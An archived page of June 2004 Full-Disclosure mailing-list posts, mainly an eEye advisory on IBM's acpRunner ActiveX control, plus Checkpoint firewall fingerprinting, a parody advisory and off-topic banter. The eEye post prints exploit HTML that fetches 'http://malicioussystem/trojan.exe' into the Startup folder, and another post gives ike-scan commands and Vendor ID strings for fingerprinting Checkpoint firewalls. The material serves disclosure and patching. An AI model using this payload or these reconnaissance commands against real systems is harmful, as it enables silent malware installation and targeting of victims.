Vendor Status:
IBM has released a patch for this vulnerability. The patch is available
at the following location:
http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-5186
0

Credit:
Discovery: Drew Copley
Additional Research: http-equivmalware.com

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/products/retina/download/index.html

Another Quote of the Day:
"A man's greatest work is to break his enemies, to drive them before
him, to take from them all the things that have been theirs, to hear the
weeping of those who cherished them." - Genghis Khan

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alerteEye.com for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] IBM acpRunner Activex Dangerous Methods Vulnerability

From: Drew Copley (dcopleyeEye.com)
Date: Wed Jun 16 2004 - 13:45:57 CDT

IBM acpRunner Activex Dangerous Methods Vulnerability

Release Date:
June 15, 2004

Date Reported:
February 20, 2004

Patch Development Time (In Days):
116

Severity:
High (Remote Code Execution)

Vendor:
IBM

Systems Affected:
acpRunner Activex Version 1.2.5.0

Overview:
eEye Digital Security has discovered a security vulnerability in IBM's
signed "acpRunner" activex. Because this application is signed, it might
be presented to users on the web for execution in the name of IBM. If
users trust IBM, they will run this, and their systems will be
compromised. This activex was designed by IBM to be used for an
automated support solution for their PC's. An unknown number of systems
already have this activex on their systems.

The issue is quite simple. Activex is a very profound web technology. As
a profound web technology it may be abused. Designers might create an
activex which could perform any function on an user's computer.
Microsoft relies on trust for the security model and warns against
making activex with dangerous capabilities. The responsibility, however,
rests with the creator of the activex, as in any trust model.

In this case, IBM made available methods named such as "DownLoadURL",
"SaveFilePath", and "Download". Almost needless to say, these methods
allow a remote attacker to have a victim system silently download the
file of their choosing into the location of their choosing. By
downloading an executable file to the Startup folder, this malicious
executable would be automatically executed on start up.

Technical Details:
-----------EXAMPLE HTML---------

|object width="310" height="20"
codebase="https://www-3.ibm.com/pc/support/access/aslibmain/content/AcpC
ontrol.cab" id="runner"
classid="CLSID:E598AC61-4C6F-4F4D-877F-FAC49CA91FA3"
data="DATA:application/x-oleobject;BASE64,YayY5W9MTU+Hf/rEnKkfowADAAAKIA
AAEQIAAA==">
|object|

|script|
runner.DownLoadURL = "http://malicioussystem/trojan.exe";
runner.SaveFilePath = "\..\\Start Menu\\Programs\\Startup";
runner.FileSize = 96,857;
runner.FileDate = "01/09/2004 3:33";
runner.DownLoad();
|script|

---------------------------------

In the above example, we see the object called utilizing the "object"
tag. The codebase tag is used by the browser to initiate the install of
the activex if it is not already existing on the system. This would
bring up the activex prompt which essentially asks the user if they
trust IBM. Finally, the object is named "runner", so we might reference
it later in script and use its' dangerous methods.

In the script we see we access the dangerous methods of "runner" in a
completely straightforward manner. The "saveFilePath" method uses a
local url on the user's system which will accurately point to the user's
startup folder. Finally, the method "Download" is called, and a progress
meter shows the trojan file being downloaded to the exploit folder on
the user's system. At restart, the OS would automatically run the
trojan.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
IBM has released a patch for this vulnerability. The patch is available
at the following location:
http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-5186
0

Credit:
Discovery: http-equivmalware.com
Additional Research: Drew Copley

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/products/retina/download/index.html

Quotes of the Day:
"Fuggedboutit" - the "Cosa Nostra" community as reported by "Donnie
Brasco" (aka, Joe Pistone, FBI)

"You know what glamour is? It is fear." - The Krays (1981)

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alerteEye.com for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.

  

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: Michael Gargiullo (mgargiullowarpdrive.net)
Date: Wed Jun 16 2004 - 15:43:41 CDT

On Wed, 2004-06-16 at 14:25, joe smith wrote:
> I used PE Explorer.
>
> Looks the june4.exe is some kind of spyware. It reference to another
> site "cjdra.com", possibly uploading user information there.
>
> I just started learning assembly, please pardon my lack of knowledge on
> reverse engineering.
>
> J

By chance, do you know of a similar tools that runs under linux?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] IFH-ADV-31337 File Source disclosure vulnerability in all web servers.

From: Hugo Vazquez Carapez (infohackinghushmail.com)
Date: Wed Jun 16 2004 - 14:59:36 CDT

File Source disclosure vulnerability in all web servers.

Infohacking Security Advisory 04.16.04
www.infohacking.com
Jun 16, 2004

I. BACKGROUND

We discovered a very dangerous file source disclosure vulnerability in
all
webservers. This issue can be exploited using Microsoft Internet Explorer
and probably other browsers.

II. DESCRIPTION

Remote explotation of this issue can be achived by clicking with the
right button into the website and selecting the "view source code" option.
This option will display the contents of the html code.

For more leet explotation is also possible using lynx --source http://vulnerable.site/file.html

III. ANALYSIS

Successful exploitation allows an attacker to gain very very very sensible
information of the website.

IV. DETECTION

Infohacking has confirmed that all webservers are vulnerable to this
problem. Sites like microsoft, securityfocus, hack.co.za and others are
vulnerable too!

V. WORKAROUNDS

No work.. indeed.

VI. CVE INFORMATION

This is an 0day bug... so still no bid and CVE.

VII. DISCLOSURE TIMELINE

02/18/04 Hugo notified the bug to abuse255.255.255.255
03/11/04 Initial vendor notification - no response
03/30/04 Secondary vendor notification - no response
05/20/04 We hack iberia.com
06/17/04 Public Disclosure

VIII. CREDIT

Hugo Vázquez Carapez http://www.infohacking.com/dirhugo.gif

Get pwned by script kiddies?
Call us, we can hack you again.

IX. LEGAL NOTICES

Copyright (c) 2004 INFOHACKING, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of INFOHACKING. If you wish to reprint the whole or any

part of this alert in any other medium other than electronically, please

email infoinfohacking.com for permission.

Disclaimer: Infohacking is pretty whitehat and lame. If you are a part
of the blackhat communitie, please hack and remove us from the net

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services.php?subloc=messenger&l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about.php?subloc=affiliate&l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

Valdis.Kletnieksvt.edu
Date: Wed Jun 16 2004 - 15:57:10 CDT

On Wed, 16 Jun 2004 21:26:45 +0200, Peter van den Heuvel <peterbank-connect.com> said:
> Indeed. DNS's, AS's and what not else is required to make the internet
> tick; all is centrally controlled and delegated. What's missing is a
> flanking reverse of resposibilities. It's idiotic that providers or even
> full countries can completely ignore / reject any complaint without
> having their AS or DNS taken down.

In other arenas, they call the concept "diplomatic immunity"....

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA0LQmcC3lWbTT17ARArO6AJ9a4KydTf4jYojEHoyHEVA2tdvFZgCg4hZU
PUPjux+XqcwMFldTrgar86M=
=VPbq
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Checkpoint Firewall-1 IKE Vendor ID information leakage

From: ADT (synfinaticgmail.com)
Date: Wed Jun 16 2004 - 16:13:55 CDT

So basically, the "issue" is that Checkpoint is following RFC 2408 (ISAKMP)?

Specifically section 3.16:

"The Vendor ID Payload contains a vendor defined constant. The
 constant is used by vendors to identify and recognize remote
 instances of their implementations. This mechanism allows a vendor
 to experiment with new features while maintaining backwards
 compatibility. "

While perhaps this is unfortunate, it is clearly documented and I
know that Brett Eldridge gave a talk on this specific issue at DefCon
X.

-Aaron

On Wed, 16 Jun 2004 15:45:29 +0100, Roy Hills <roy.hillsnta-monitor.com> wrote:
>
> Checkpoint Firewall-1 IKE Vendor ID information leakage
>
> Introduction:
>
> Checkpoint Firewall-1 version 4.1 and later with IPsec VPN enabled will
> return an IKE Vendor ID payload when it receives an IKE packet with
> a specific Vendor ID payload. The Vendor ID payload that is returned
> identifies the system as Checkpoint Firewall-1 and also determines the
> Firewall-1 version and service-pack or feature-pack revision number.
> This is an information leakage issue which can be used to fingerprint
> the Firewall-1 system.
>
> This information leakage issue has been verified for Checkpoint Firewall-1
> versions from 4.1 (no service pack) to NG AI R55 inclusive. Firewall-1
> version 4.0 is not vulnerable because it does not return any Vendor ID
> payload, and Firewall-1 versions 3.0b and earlier are not vulnerable
> because they do not support IPsec VPN. However, most people are running
> either NG or 4.1 and therefore this issue will apply to most Firewall-1
> installations that have IPsec VPN enabled.
>
> I used ike-scan v1.6 (http://www.nta-monitor.com/ike-scan/) to discover
> and demonstrate this issue.
>
> Full details are available at:
> http://www.nta-monitor.com/news/checkpoint2004/index.htm
>
> Details:
>
> If an IKE Phase-1 packet with a Vendor ID payload containing the data
> "f4ed19e0c114eb516faaac0ee37daf2807b4381f" (20 bytes of binary data
> encoded as hex) is sent to a Firewall-1 system running Firewall-1 v4.1
> or higher which supports IKE, the Firewall will respond with a Vendor ID
> payload containing data which identifies it as a Checkpoint Firewall-1
> system, provides details about the version of the Firewall software,
> and contains some additional information.
>
> The data that is returned in the Vendor ID payload from the
> Firewall consists of the same 20-byte sequence that was sent
> (f4ed19e0c114eb516faaac0ee37daf2807b4381f) followed by another 20-bytes
> of data that contains the encoded version number and some other details
> that appear to contain details of the Firewall's capabilities.
>
> I presume that the 20-byte "magic string" is an SHA1 hash of something.
> I'd be interested to find out what source string hashes to this value.
>
> Looking at all versions of Firewall-1 from 4.1 base (no service pack) to
> NG AI R55 (latest current version), I have found the following returned
> Vendor ID payloads. In the payloads below, a dot (".") represents an
> arbitary hex digit:
>
> Firewall-1 4.1 Base (no service pack)
> f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000020000000000000000....0000
>
> Firewall-1 4.1 SP1
> f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000030000000000000000....0000
>
> Firewall-1 4.1 SP2-SP6 (SP2, 3, 4, 5, and 6 return the same Vendor ID)
> f4ed19e0c114eb516faaac0ee37daf2807b4381f0000000100000fa20000000000000000....0000
>
> rshradon [537]$
> rshradon [537]$
> rshradon [537]$
> rshradon [537]$ cat ,,
> [Note to moderator: I notified Checkpoint of this issue on 13th April
> 2004, but have not received any response apart from a "We've received
> your Email" auto-reply.]
>
> Introduction:
>
> Checkpoint Firewall-1 version 4.1 and later with IPsec VPN enabled will
> return an IKE Vendor ID payload when it receives an IKE packet with
> a specific Vendor ID payload. The Vendor ID payload that is returned
> identifies the system as Checkpoint Firewall-1 and also determines the
> Firewall-1 version and service-pack or feature-pack revision number.
> This is an information leakage issue which can be used to fingerprint
> the Firewall-1 system.
>
> This information leakage issue has been verified for Checkpoint Firewall-1
> versions from 4.1 (no service pack) to NG AI R55 inclusive. Firewall-1
> version 4.0 is not vulnerable because it does not return any Vendor ID
> payload, and Firewall-1 versions 3.0b and earlier are not vulnerable
> because they do not support IPsec VPN. However, most people are running
> either NG or 4.1 and therefore this issue will apply to most Firewall-1
> installations that have IPsec VPN enabled.
>
> I used ike-scan v1.6 (http://www.nta-monitor.com/ike-scan/) to discover
> and demonstrate this issue.
>
> Full details are available at:
> http://www.nta-monitor.com/news/checkpoint2004/index.htm
>
> Details:
>
> If an IKE Phase-1 packet with a Vendor ID payload containing the data
> "f4ed19e0c114eb516faaac0ee37daf2807b4381f" (20 bytes of binary data
> encoded as hex) is sent to a Firewall-1 system running Firewall-1 v4.1
> or higher which supports IKE, the Firewall will respond with a Vendor ID
> payload containing data which identifies it as a Checkpoint Firewall-1
> system, provides details about the version of the Firewall software,
> and contains some additional information.
>
> The data that is returned in the Vendor ID payload from the
> Firewall consists of the same 20-byte sequence that was sent
> (f4ed19e0c114eb516faaac0ee37daf2807b4381f) followed by another 20-bytes
> of data that contains the encoded version number and some other details
> that appear to contain details of the Firewall's capabilities.
>
> I presume that the 20-byte "magic string" is an SHA1 hash of something.
> I'd be interested to find out what source string hashes to this value.
>
> Looking at all versions of Firewall-1 from 4.1 base (no service pack) to
> NG AI R55 (latest current version), I have found the following returned
> Vendor ID payloads. In the payloads below, a dot (".") represents an
> arbitary hex digit:
>
> Firewall-1 4.1 Base (no service pack)
> f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000020000000000000000....0000
>
> Firewall-1 4.1 SP1
> f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000030000000000000000....0000
>
> Firewall-1 4.1 SP2-SP6 (SP2, 3, 4, 5, and 6 return the same Vendor ID)
> f4ed19e0c114eb516faaac0ee37daf2807b4381f0000000100000fa20000000000000000....0000
>
> Firewall-1 NG Base
> f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000013880000000000000000....0000
>
> Firewall-1 NG FP1
> f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000013890000000000000000....0000
>
> Firewall-1 NG FP2
> f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138a0000000000000000....0000
>
> Firewall-1 NG FP3
> f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138b0000000000000000....0000
>
> Firewall-1 NG AI R54
> f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138c0000000000000000....0000
>
> Firewall-1 NG AI R55
> f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d0000000000000000....0000
>
> The version part is given in character positions 53 - 56 inclusive.
> E.g. "138d" (decimal 5005) for NG AI R55.
>
> Here's an example using ike-scan v1.6 with an NG FP2 Firewall. Here,
> we are specifying RSA authentication with --auth=3 to get the Firewall
> to handshake as well as providing the Firewall-1 Vendor ID:
>
> $ ike-scan --vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f --auth=3 -M
> 172.16.2.2
> Starting ike-scan 1.6 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
> 172.16.2.2 Main Mode Handshake returned
> SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024
> LifeType=Seconds LifeDuration(4)=0x00007080)
> VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138a000000000000000018800000
> (Firewall-1 NG FP2)
>
> Ending ike-scan 1.6: 1 hosts scanned in 0.009 seconds (108.96 hosts/sec).
> 1 returned handshake; 0 returned notify
>
> Here is a second example fingerprinting an NG AI R54 Firewall using
> hybrid authentication (--auth=64221):
>
> $ ike-scan --vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f --auth=64221
> -M 172.16.2.2
> Starting ike-scan 1.5.3 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
> 172.16.2.2 Main Mode Handshake returned
> SA=(Enc=3DES Hash=SHA1 Auth=64221 Group=2:modp1024
> LifeType=Seconds LifeDuration(4)=0x00007080)
> VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138c000000000000000018800000
> (Firewall-1 NG AI R54)
>
> References:
>
> http://www.nta-monitor.com/news/checkpoint2004/index.htm Issue details
> http://www.nta-monitor.com/ike-scan/ ike-scan tool
> --
> Roy Hills Tel: +44 1634 721855
> NTA Monitor Ltd FAX: +44 1634 721844
> 14 Ashford House, Beaufort Court,
> Medway City Estate, Email: Roy.Hillsnta-monitor.com
> Rochester, Kent ME2 4FA, UK WWW: http://www.nta-monitor.com/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

--
--
http://synfin.net/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: joe smith (joejoesmith.homeip.net)
Date: Wed Jun 16 2004 - 16:43:40 CDT

http://upx.sourceforge.net/#download

Michael Gargiullo wrote:

>On Wed, 2004-06-16 at 14:25, joe smith wrote:
>
>
>>I used PE Explorer.
>>
>>Looks the june4.exe is some kind of spyware. It reference to another
>>site "cjdra.com", possibly uploading user information there.
>>
>>I just started learning assembly, please pardon my lack of knowledge on
>>reverse engineering.
>>
>>J
>>
>>
>
>By chance, do you know of a similar tools that runs under linux?
>
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: José María Mateos (josemaria.mateoshispalinux.es)
Date: Wed Jun 16 2004 - 17:00:29 CDT

El martes 15 de junio a las 18:57, Syed Imran Ali escribió:
> about .co.uk is still allowing POP or not with 100MB, as it was with 6MB.

        .es still does, and they say it's not going to change, at least
for a while.

        Regards.

--
** Las Penas del Agente Smith: http://chema.homelinux.org **
http://EuropeSwPatentFree.hispalinux.es - EuropeSwPatentFree
GPG key ID: 0x2948FA19 | Please encrypt private mail

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0ML99P6GbSlI+hkRAotbAJ4td1Gu/3zcr8UU6gn49SJRmXKh/ACbBx6F
dta56x6/cq3dbUJ5K8ku0ag=
=fNIu
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Peter van den Heuvel (peterbank-connect.com)
Date: Wed Jun 16 2004 - 16:57:46 CDT

Yo!

> In other arenas, they call the concept "diplomatic immunity"....
Indeed. And is almost as idiotic there. But the issue is that the
Internet does not have any "reverse responsibility" mechanism; an evil
minor-player under a lax-average-provider can do whatever he feels that
suits him best, and disregard majority opinion. An anarchy without even
fundamental feedback regulatory mechanisms is simply prey; me paying for
anothers fortune. And the least thing that would work is governments
imposing their preferences. So maybe ICAN and the likes should consider
some form of responsibility in these matters.

Alas, Peter

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] IFH-ADV-31337 File Source disclosure vulnerability in all web servers.

From: morning_wood (se_cur_ityhotmail.com)
Date: Wed Jun 16 2004 - 17:23:09 CDT

rofl, are you sure your not "Bipin" ?

>Subject: [Full-Disclosure] IFH-ADV-31337 File Source disclosure vulnerability
in all web servers.

> File Source disclosure vulnerability in all web servers.
> Remote explotation of this issue can be achived by clicking with the
> right button into the website and selecting the "view source code" option.
> This option will display the contents of the html code.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] MS Anti Virus?

From: Andre Ludwig (andre.ludwiggmail.com)
Date: Wed Jun 16 2004 - 17:53:45 CDT

Oh this should be good...

http://www.reuters.com/newsArticle.jhtml?storyID=5429092

 SEATTLE (Reuters) - Microsoft Corp. (MSFT.O: Quote, Profile,
Research) is still on track to offer an anti-virus product that will
compete against similar software offered by Symantec Corp. (SYMC.O:
Quote, Profile, Research) and Network Associates Inc. (NET.N: Quote,
Profile, Research) , the world's largest software maker said late on
Monday.

Mike Nash, chief of Microsoft's security business unit, told reporters
that Microsoft is developing software to protect personal computers
running Windows against malicious software, the worms and viruses that
have plagued users with data loss, shutdowns and disruptions in Web
traffic in recent years.

"We're still planning to offer our own AV (anti-virus) product," Nash said.

Asked if that would hurt sales of competing products, such as Network
Associates' McAfee and Symantec's Norton family of products, Nash said
that Microsoft said that it would sell its anti-virus program as a
separate product from Windows, rather than including it in Windows.

Redmond, Washington-based acquired anti-virus technology from GeCAD
Software Srl., a Romanian software company, last year to develop its
own software.

Microsoft, whose Windows operating system is a favorite target for
computer viruses, launched a company-wide "Trustworthy Computing"
campaign in early 2002 to boost the security and reliability of its
software.

Nash did not give a time frame for the release of Microsoft's
anti-virus software.

and another

http://www.entmag.com/news/article.asp?EditorialsID=6272

by Scott Bekker

6/16/04

Microsoft is leaning toward offering a paid anti-virus subscription service.

Mike Nash, corporate vice president for the security business and
technology unit at Microsoft, said Microsoft will probably sell its
own anti-virus software and subscription service. It is the first
public signal that Microsoft intends to turn its acquisition of the
Romanian anti-virus company GeCAD into a product customers pay for.

The comments came up at a dinner with reporters in Seattle on Monday
night when Nash was asked how Microsoft's anti-virus efforts might
affect Symantec. "I want to make sure customers have another choice,"
the Bloomberg News agency quoted Nash as saying. "Some people will
continue to use Symantec, and some will use ours."

-- advertisement --

Shares of Symantec, which gets 85 percent of its revenues from
anti-virus products, were down following Nash's comments, according to
Bloomberg.

Previously, Microsoft had been coy about its plans for GeCAD, which it
acquired last June. "This acquisition will help us and our partner
anti-virus providers further mitigate risks from these threats," Nash
said at the time, implying Microsoft would use GeCAD's programming
talent to make Windows and other Microsoft products more resistant to
viruses.

But Microsoft also immediately indicated at the time that it was fully
evaluating how to proceed with GeCAD's technology and employees. In a
white paper published last June on Microsoft's Web site, the company
wrote, "Details of the Microsoft antivirus solution, including any
product plans, pricing, and a timeline for delivery, are not yet
available. Microsoft strongly recommends that customers continue to
use antivirus solutions from industry partners and keep their virus
signatures updated."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: Andre Ludwig (andre.ludwiggmail.com)
Date: Wed Jun 16 2004 - 17:49:08 CDT

Just think of all those l33t 0-days you can now have in your webmail!!!

;)

This is definatly OT..

Andre Ludwig CISSP

On Tue, 15 Jun 2004 11:42:10 -0500 (CDT), Ron DuFresne
<dufresnewinternet.com> wrote:
>
>
> The real questions fellows is though, what does any of this have to do
> with security, and who cares how much storage space your particular ISP or
> e-mail provider supplies?
>
> Thanks,
>
> Ron DuFresne
>
>
>
> On Tue, 15 Jun 2004, William Warren wrote:
>
> > hrmm my yahoo account still shows 4.0 megs..do you have a paid account?
> >
> >
> > Syed Imran Ali wrote:
> >
> > > Hiya,
> > >
> > > It is nice to see my inbox today, having 100MB or storage space, 84%
> > > remaining. Yahoo now allows up to 10MB attachment too.... I am not sure
> > > about .co.uk is still allowing POP or not with 100MB, as it was with 6MB.
> > >
> > > Regards,
> > >
> > > S. Imran Ali
> > >
> > >
> > > _______________________________________________
> > > Full-Disclosure - We believe in it.
> > > Charter: http://lists.netsys.com/full-disclosure-charter.html
> > >
> >
> > --
> > My "Foundation" verse:
> > Isa 54:17 No weapon that is formed against thee shall prosper; and
> > every tongue that shall rise against thee in judgment thou shalt
> > condemn. This is the heritage of the servants of the LORD, and their
> > righteousness is of me, saith the LORD.
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> "Cutting the space budget really restores my faith in humanity. It
> eliminates dreams, goals, and ideals and lets us get straight to the
> business of hate, debauchery, and self-annihilation." -- Johnny Hart
> ***testing, only testing, and damn good at it too!***
>
> OK, so you're a Ph.D. Just don't touch anything.
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] MS Anti Virus?

http-equivexcite.com
Date: Wed Jun 16 2004 - 18:29:58 CDT

Well they can't get a simple thing like a mail client right,
they can't get a semi-simple thing like a browser right, they
can't get not-so-simple thing like an operating system right, so
let's branch out and fuck up some other things.

No doubt a few years from now you'll see a line of food in the
stores with their name on it. No doubt limited to doughnuts and
pretzels.

At least they can charge for a whole and the customer will
insist on a portion.

HOLE IN ONE ! gOLf cOURSEs next.

--
http://www.malware.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Andre Ludwig (andre.ludwiggmail.com)
Date: Wed Jun 16 2004 - 18:55:23 CDT

Think the mafia refers to this as a protection racket...

man so much can be made of this its a techy comedy gold mine.

"our software sucks so bad that the market for anti virus software for
our platform is such a lucrative market that we cant stay out of it"

Andre Ludwig CISSP

On Wed, 16 Jun 2004 19:41:49 -0400, slacker <leetslackersofthome.net> wrote:
>
> <snip>
> > SEATTLE (Reuters) - Microsoft Corp. (MSFT.O: Quote, Profile,
> > Research) is still on track to offer an anti-virus product that will
> > compete against similar software offered by Symantec Corp. (SYMC.O:
> > Quote, Profile, Research) and Network Associates Inc. (NET.N: Quote,
> > Profile, Research) , the world's largest software maker said late on
>
> Oh yeah, what's the average delay to release on exploit patches? What makes
> me think that they are going to be that slow on releasing AV updates? =P
>
> slacker
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: Shawn Nunley (nunleygmail.com)
Date: Wed Jun 16 2004 - 20:28:44 CDT

Did anyone else notice that they also raised the storage limit to 2Gb
for paid account holders? (SBC Yahoo DSL and accounts like that,
19.99/mo)

That's quite a lot of spam storage.

Wanna talk about security? How about all those phishing and spam
emails being stored (and potentially opened) for far longer than was
possible before. Seems like a security problem waiting to happen.

So far, in my Gmail account, I've had exactly 0 spam emails, and I
have that address pasted all over the web. Either their spam
filtering is incredible, or the spammers haven't picked it up yet. My
Yahoo account, on the other hand, is 100% spam except for mailing list
traffic.

-Shawn

Shawn Nunley, CISSP
Director, Technology Development
NetScaler, Inc.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: Shawn Nunley (nunleygmail.com)
Date: Wed Jun 16 2004 - 20:37:24 CDT

sorry, I meant to say 19.99/year, not per month for the 2gb storage limit.

On Wed, 16 Jun 2004 18:28:44 -0700, Shawn Nunley <nunleygmail.com> wrote:
>
>
> Did anyone else notice that they also raised the storage limit to 2Gb
> for paid account holders? (SBC Yahoo DSL and accounts like that,
> 19.99/mo)
>
> That's quite a lot of spam storage.
>
> Wanna talk about security? How about all those phishing and spam
> emails being stored (and potentially opened) for far longer than was
> possible before. Seems like a security problem waiting to happen.
>
> So far, in my Gmail account, I've had exactly 0 spam emails, and I
> have that address pasted all over the web. Either their spam
> filtering is incredible, or the spammers haven't picked it up yet. My
> Yahoo account, on the other hand, is 100% spam except for mailing list
> traffic.
>
> -Shawn
>
> Shawn Nunley, CISSP
> Director, Technology Development
> NetScaler, Inc.
>

--
Shawn Nunley, CISSP
Director, Technology Development
NetScaler, Inc.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Akamai

From: gabriel rosenkoetter (greclipsed.net)
Date: Wed Jun 16 2004 - 20:44:17 CDT

On Wed, Jun 16, 2004 at 04:57:10PM -0400, Valdis.Kletnieksvt.edu wrote:
> On Wed, 16 Jun 2004 21:26:45 +0200, Peter van den Heuvel <peterbank-connect.com> said:
> > flanking reverse of resposibilities. It's idiotic that providers or even
> > full countries can completely ignore / reject any complaint without
> > having their AS or DNS taken down.
> In other arenas, they call the concept "diplomatic immunity"....

In those same arenas, they call the denial of privilege by an
unrecognized entity (or entities) "anarchy". Which is one of those
things that sounds like a really good idea till you're no longer
in the de facto majority. ("They came for...")

On Wed, Jun 16, 2004 at 12:23:35PM -0500, Paul Schmehl wrote:
> Unless networks begin doing this routinely (including ISPs), legislation
> will be introduced to "solve" the problem, and then we will all be much
> worse off. There's nothing like a law to completely screw things up.

Actually, a clearly defined, limited, exact law is precisely what
we need here. We just lack any appropriate legislative body. (No
national legislature qualifies, and no international body--they
exist: NATO, UN, EU--can make a plausible claim to jurisdiction.)

--
gabriel rosenkoetter
greclipsed.net

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (NetBSD)

iD8DBQFA0Pdw9ehacAz5CRoRAmjzAJwKR8ktCSExCrk7HydJzSNzLZde3ACgjAvq
tqWdhhfmX8PMKiRFPgBYxNE=
=CK7z
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [SECURITY] [DSA 520-1] New krb5 packages fix buffer overflows

debian-security-announcelists.debian.org
Date: Wed Jun 16 2004 - 21:30:48 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 520-1 securitydebian.org
http://www.debian.org/security/ Matt Zimmerman
June 16th, 2004 http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package : krb5
Vulnerability : buffer overflows
Problem-Type : remote
Debian-specific: no
CVE Ids : CAN-2004-0523

In their advisory MITKRB5-SA-2004-001, the MIT Kerberos announced the
existence of buffer overflow vulnerabilities in the
krb5_aname_to_localname function. This function is only used if
aname_to_localname is enabled in the configuration (this is not
enabled by default).

For the current stable distribution (woody), this problem has been
fixed in version 1.2.4-5woody5.

